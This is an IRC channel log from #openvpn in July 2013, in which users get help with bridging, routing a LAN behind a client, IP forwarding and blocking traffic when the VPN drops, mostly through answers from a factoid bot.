08:07 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
08:10 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
08:13 -!- Willis [Willis@173.234.237.131] has joined #openvpn
08:41 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
08:41 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
08:45 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Client Quit]
08:53 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
08:53 < jozko> hi all
08:57 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 246 seconds]
09:00 < jozko> any one for help?
09:01 < rob0> no thanks, I'm fine
09:07 < linuxthefish> kisom: do you know what i should be searching for in the manual? :/
09:26 < djanbo> so isit possiable to bridge a eth0 with tap0 inside a workstaion, eth0 is connected throght the internet to a pptp vpn
09:26 < djanbo> "vmware workstation"
09:26 <@krzee> !pptp
09:26 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
09:26 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
09:27 <@krzee> !whybridge
09:27 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
09:28 < djanbo> well, i read al of these actually, am trying to figure out the configuration for it,
09:29 <@krzee> so you knew that pptp is a terribly broken protocol that offers no security, and that you dont want bridge? but you still asked your question?
09:32 -!- _quadDam1ge is now known as _quadDamage
09:32 < djanbo> well, in my situation yes ,
09:32 <@krzee> oh really
09:32 <@krzee> then what layer2 protocol do you want to go over the vpn?
09:33 < djanbo> which one is suitable?
09:34 <@krzee> lol
09:36 < djanbo> so?
09:36 <@krzee> read this again
09:36 <@krzee> !whybridge
09:36 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
09:36 <@krzee> if you didnt know how to answer my question you didnt want a bridge
09:49 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
09:49 -!- speed_racer84 [~speed_rac@h34.181.213.151.dynamic.ip.windstream.net] has joined #openvpn
09:54 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has left #openvpn []
10:11 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:13 -!- raidz_away is now known as raidz
10:13 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
10:20 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 240 seconds]
10:21 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 245 seconds]
10:21 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
10:26 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
10:30 -!- djanbo [~djanbo@41.95.182.139] has left #openvpn ["Leaving"]
10:30 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 276 seconds]
10:34 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
10:34 < jozko> hi krzee
10:35 < jozko> can you pls help me
10:35 <@krzee> !ask
10:35 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
10:35 < jozko> ok
10:36 < jozko> thx
10:38 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
10:40 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
10:40 < jozko> i have instaled openvpn on my router tplink with dd-wrt as client
10:41 < jozko> and has problem to connect from server to my PC from vpn IP, ussing router as client
10:42 < jozko> dont know to forward ports from VPN IP to dhcp IP
10:42 < jozko> can it be possible?
10:42 <@krzee> can either side ping the other using vpn ip?
10:42 < jozko> ping is working
10:42 < jozko> just has problem with ports
10:42 <@krzee> ping works both directions?
10:42 < jozko> yes
10:42 < jozko> both
10:42 <@krzee> then its your firewall not your vpn
10:42 < jozko> from PC to server
10:43 < jozko> firewall? ok
10:43 < jozko> it doesnt need to be portforwarding?
10:43 < jozko> on router
10:43 <@krzee> no, it is tunneled in the vpn
10:44 <@krzee> what are you trying to reach?
10:44 <@krzee> !goal
10:44 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:45 < jozko> i try to reach services working on different ports from server
10:45 < jozko> behind router
10:45 <@krzee> is the server running openvpn or is the router?
10:45 -!- JAVACODER [~JAVACODER@2.190.38.184] has joined #openvpn
10:45 < jozko> server running openvpn, router just client
10:46 <@krzee> server is a colocation somewhere and router is on your home lan?
10:46 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
10:46 < jozko> yes
10:46 < jozko> server is working on VPS
10:47 <@krzee> and you want your computer on your home lan to reach services on the server using VPN ip
10:47 <@krzee> right?
10:47 < jozko> its working i want it from another side
10:47 < jozko> vps to PC service
10:47 <@krzee> ok
10:47 < jozko> true router vpn
10:48 <@krzee> can the vpn ping the lan ip of the lan computer?
10:48 < jozko> nop
10:48 < jozko> :(
10:48 <@krzee> err vps*
10:48 <@krzee> did you share the client's lan at all?
10:49 < jozko> dont understand sorry this last
10:49 <@krzee> !clientlan
10:49 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
10:49 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png or (#4) flowchart mirror at http://pekster.sdf.org/misc/clientlan.png
10:49 <@krzee> there you go
10:50 < jozko> thanks for your time....go to read and study
10:51 -!- linuxthefish [linuxfish@gateway/shell/freebnc/x-xzpjavczzxthzool] has left #openvpn []
10:51 <@krzee> see the flowchart
10:52 < jozko> k
10:53 < jozko> so nice flowchart :)
10:53 <@krzee> thanks
10:54 <@krzee> !forget clientlan 3
10:54 <@vpnHelper> Joo got it.
10:54 <@krzee> !forget clientlan 3
10:54 <@vpnHelper> Joo got it.
10:54 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
10:54 <@krzee> !learn clientlan as Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:54 <@vpnHelper> Joo got it.
10:54 <@krzee> !clientlan
10:54 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
10:54 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:56 < jozko> !forget clientlan 3
10:56 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
10:56 <@krzee> hehe
10:57 < jozko> :D
10:57 < jozko> funny man
11:00 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:11 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
11:11 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 600 seconds]
11:18 -!- Muffins [~Nick@69.146.233.50] has joined #openvpn
11:20 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 240 seconds]
11:21 -!- mattock_afk is now known as mattock
11:25 -!- JAVACODER [~JAVACODER@2.190.38.184] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
11:26 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
11:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:43 -!- blueminder [blueminder@2600:3c02::f03c:91ff:fe96:2ad] has joined #openvpn
11:46 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has joined #openvpn
11:47 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 276 seconds]
11:50 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
12:03 -!- wilee-nilee [~Carnac@unaffiliated/fyodorovna] has joined #openvpn
12:03 -!- wilee-nilee [~Carnac@unaffiliated/fyodorovna] has left #openvpn ["Leaving"]
12:05 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 246 seconds]
12:08 -!- WayneR_ [~WayneR@77.28.12.130] has joined #openvpn
12:09 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
12:11 -!- WayneR [~WayneR@77.28.28.21] has quit [Ping timeout: 248 seconds]
12:11 -!- WayneR_ is now known as WayneR
12:18 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 246 seconds]
12:19 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:22 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
12:22 -!- blueminder [blueminder@2600:3c02::f03c:91ff:fe96:2ad] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
12:22 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds]
12:23 -!- michaelhart_ [~michaelha@162.209.1.130] has joined #openvpn
12:23 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has quit [Ping timeout: 276 seconds]
12:23 -!- michaelhart_ is now known as michaelhart
12:24 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
12:27 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
12:28 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 246 seconds]
12:29 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
12:29 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
12:30 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has quit [Ping timeout: 240 seconds]
12:30 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
12:32 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
12:33 -!- mattock is now known as mattock_afk
12:43 -!- barhom [barhom@netsat.se] has quit [Ping timeout: 256 seconds]
12:45 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has joined #openvpn
12:45 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 248 seconds]
12:47 -!- michaelhart_ [~michaelha@69-165-175-193.dsl.teksavvy.com] has joined #openvpn
12:49 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 276 seconds]
12:49 -!- michaelhart_ is now known as michaelhart
12:50 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
12:58 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 240 seconds]
13:02 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
13:18 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 256 seconds]
13:30 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
13:35 -!- JAVACODER [~JAVACODER@2.190.37.91] has joined #openvpn
13:35 -!- JAVACODER [~JAVACODER@2.190.37.91] has left #openvpn []
13:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Remote host closed the connection]
13:52 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 264 seconds]
13:55 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
14:00 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Read error: Connection reset by peer]
14:01 -!- speed_racer84 [~speed_rac@h34.181.213.151.dynamic.ip.windstream.net] has quit [Quit: Leaving]
14:06 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
14:08 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
14:09 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
14:10 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Client Quit]
14:14 -!- razor1101 [razor1101@unaffiliated/razor1101] has joined #openvpn
14:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
14:22 < razor1101> how do i make it so that all traffic goes through the vpn and if the connection to the vpn fails, no internet traffic is allowed?
14:26 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 246 seconds]
14:27 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
14:27 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
14:29 <@krzee> your firewall
14:32 -!- xBytez [~xbytez@xbytez.xxx] has quit [Quit: kthxbai]
14:34 <@EugeneKay> iptables -A OUTPUT -j DROP
14:34 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:44 < razor1101> kate middleton gave birth to a boy
14:44 < razor1101> wait wrong channel
14:46 < razor1101> windows firewall?
14:55 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
14:56 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-hgsahotawmmskueb] has joined #openvpn
14:57 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
14:58 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has quit [Ping timeout: 246 seconds]
15:08 -!- razor1101 [razor1101@unaffiliated/razor1101] has left #openvpn []
15:13 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has joined #openvpn
15:15 -!- Denial [Denial@90.202.26.221] has quit []
15:17 <@krzee> !windows outbound firewall
15:17 <@krzee> err
15:18 <@krzee> !google windows outbound firewall
15:18 <@vpnHelper> How can I configure the Windows 7 firewall to prompt me - Super User: <http://superuser.com/questions/217551/how-can-i-configure-the-windows-7-firewall-to-prompt-me-on-outbound-traffic>; How to Extend the Windows Firewall and Easily Block Outgoing ...: <http://www.howtogeek.com/113641/how-to-extend-the-windows-firewall-and-easily-block-outgoing-connections/>; Windows 7 Firewall Outbound
15:18 <@vpnHelper> Protection - AddictiveTips: <http://www.addictivetips.com/windows-tips/windows-7-firewall-outbound-protection/>
15:18 <@krzee> magic!
15:31 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has joined #openvpn
15:43 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has quit [Quit: michaelhart]
15:44 <+pekster> !forget severlan 3
15:44 <@vpnHelper> Error: There is no such factoid.
15:44 <+pekster> !forget serverlan 3
15:44 -!- UnterPerro [~UnterPerr@c-50-140-198-18.hsd1.fl.comcast.net] has quit [Quit: UnterPerro lives to save another day]
15:44 <@vpnHelper> Joo got it.
15:44 <+pekster> !forget serverlan 3
15:44 <@vpnHelper> Joo got it.
15:44 <+pekster> !learn serverlan as Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png | http://pekster.sdf.org/misc/serverlan.png
15:44 <@vpnHelper> Joo got it.
15:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 260 seconds]
16:01 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
16:03 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 240 seconds]
16:10 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:11 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
16:16 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:16 < nosuid> Strange. I'm running an openvpn server just fine; if I add a client connection any new incoming connections just loop with hmac auth fail
16:17 < nosuid> The client connection works fine and I am able to connect to the server from inside the lan
16:17 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has quit [Ping timeout: 268 seconds]
16:31 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
16:34 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
16:34 < jozko> !route_outside_openvpn
16:34 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
16:37 < jozko> !ipforward
16:37 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:37 < jozko> !linipforward
16:37 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:38 < jozko> !ccd
16:38 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
16:39 < jozko> !route
16:39 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
16:39 <@vpnHelper> the server or client
16:46 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 248 seconds]
17:04 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
17:05 -!- WayneR [~WayneR@77.28.12.130] has quit [Quit: WayneR]
17:07 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
17:21 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 248 seconds]
17:22 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
17:30 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has joined #openvpn
17:31 -!- hirogen [~peeepp@host217-42-245-51.range217-42.btcentralplus.com] has left #openvpn []
17:49 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
17:52 -!- Muffins [~Nick@69.146.233.50] has quit [Quit: Out y'all]
17:54 -!- simcop2387_ [~simcop238@simcop2387.info] has joined #openvpn
17:54 -!- simcop2387_ [~simcop238@simcop2387.info] has quit [Changing host]
17:54 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
17:59 -!- lbft_ [~lbft@unaffiliated/lbft] has joined #openvpn
18:00 -!- Netsplit *.net <-> *.split quits: lbft, master_of_master
18:00 -!- simcop2387_ is now known as simcop2387
18:00 -!- lbft_ is now known as lbft
18:04 -!- master_of_master [~master_of@p4FF24C51.dip0.t-ipconnect.de] has joined #openvpn
18:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:17 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
18:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:29 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-vyyrlabxsaiydvgz] has quit [Ping timeout: 248 seconds]
18:29 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rlrkctxwesmlqntd] has joined #openvpn
18:44 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:46 -!- master_o1_master [~master_of@p4FF24C4E.dip0.t-ipconnect.de] has joined #openvpn
18:50 -!- master_of_master [~master_of@p4FF24C51.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
18:55 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
19:15 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
19:32 -!- raidz is now known as raidz_away
19:41 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:57 <@krzee> lol pekster i just realized you get pinged every time we call for the flowcharts
20:00 <+pekster> There's probably a plugin to stop that when I get annoyed enough
20:00 <@krzee> sure, or another host
20:00 <@krzee> pek.sdf.org or whatev
20:02 <+pekster> It's a vhost based on username for that service. I have pekster.net, but it's got the same problem
20:02 <+pekster> I'm *not* registering another domain to avoid hunting for an irssi plugin, so no
20:12 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 248 seconds]
20:15 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
20:26 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:51 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:53 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 246 seconds]
21:01 -!- krphop_ is now known as krphop
21:03 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
21:18 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
21:26 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has quit [Read error: Operation timed out]
21:27 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
21:28 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection]
21:28 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
21:37 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 264 seconds]
22:06 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
22:06 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Quit: Leaving]
22:08 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
22:08 -!- michaelhart_ is now known as michaelhart
22:21 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
22:28 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:41 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:54 <@krzee> pekster, i have many domains and would be happy to point any / as many hosts as you want for you
23:03 <@krzee> i will message you a domain list
23:03 <+pekster> meh. Again, not worth my avoiding an irssi script
23:03 <+pekster> Much ado about very little
23:03 <@krzee> ok
--- Day changed Tue Jul 23 2013
00:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:20 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:20 -!- jd [~|1li@204.14.77.52] has joined #openvpn
00:21 -!- jd [~|1li@204.14.77.52] has quit [Read error: Connection reset by peer]
00:42 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:42 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:42 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:47 -!- ugoub1 [~wangz@171.217.145.104] has joined #openvpn
00:53 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 264 seconds]
00:54 -!- ugoub1 [~wangz@171.217.145.104] has quit [Ping timeout: 268 seconds]
00:55 -!- |1li [~|1li@204.14.77.52] has joined #openvpn
01:00 -!- |1li [~|1li@204.14.77.52] has quit [Ping timeout: 256 seconds]
01:01 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:01 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:01 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:07 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
01:07 < ugoub> also there's no [ok] sign after "*   Autostarting VPN 'client1'" when I start the client.  But the server side have a [ok] sign.
01:13 <@EugeneKay> the [ok] thing is specific to Red Hat & kin's init scripts
01:13 <@EugeneKay> The Debian family doesn't do it
01:14 < ugoub> oh, but both the server and client are all ubuntu.
01:16 < ugoub> also, I found even I start the vpn client, the tun won't come up immediately in 'ifconfig tun'
01:16 < ugoub> even the status said vpn is running.
01:17 <@EugeneKay> Same versions?
01:18 < ugoub> oh, I don't know. they all coming from 'apt-get install'. and  maybe not. server is ubuntu 10.04 and client is 12.04
01:18 <@EugeneKay> I meant Ubuntu versions, yeah
01:18 <@EugeneKay> And tada, that's why.
01:19 <@EugeneKay> 10.04 uses Ye Olde init.d system; 12.04 uses upstart.
01:20 < ugoub> oh I see.. thanks.
01:21 -!- |1li [~|1li@204.14.77.52] has joined #openvpn
01:32 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
01:33 -!- |1li [~|1li@204.14.77.52] has quit [Ping timeout: 246 seconds]
01:34 < jozko> !ipforward
01:34 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
01:34 < jozko> !ccd
01:34 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
01:35 < jozko> !iroute
01:35 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
01:35 < jozko> !route_outside_openvpn
01:35 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
01:35 -!- |1li [~|1li@204.14.77.52] has joined #openvpn
01:36 < jozko> !linipforward
01:36 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
01:36 < jozko> !winipforward
01:36 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
01:37 < jozko> !osxipforward
01:37 <@vpnHelper> "osxipforward" is (#1) sysctl -w net.inet.ip.forwarding=1 for a temp solution or (#2) add IPFORWARDING=-YES- in /etc/hostconfig for a permanent solution
01:37 < jozko> !fbsdipforward
01:37 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
01:39 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:40 < jozko> good morning krzee
01:40 -!- |1li [~|1li@204.14.77.52] has quit [Ping timeout: 264 seconds]
01:41 -!- |1li [~|1li@204.14.77.52] has joined #openvpn
01:42 <@krzee> good evening :)
01:43 < jozko> och
01:44 < jozko> still try to fix problem but...
01:51 -!- |1li [~|1li@204.14.77.52] has quit [Ping timeout: 246 seconds]
01:53 -!- |1li [~|1li@204.14.77.52] has joined #openvpn
01:53 -!- Denial [Denial@90.202.26.221] has joined #openvpn
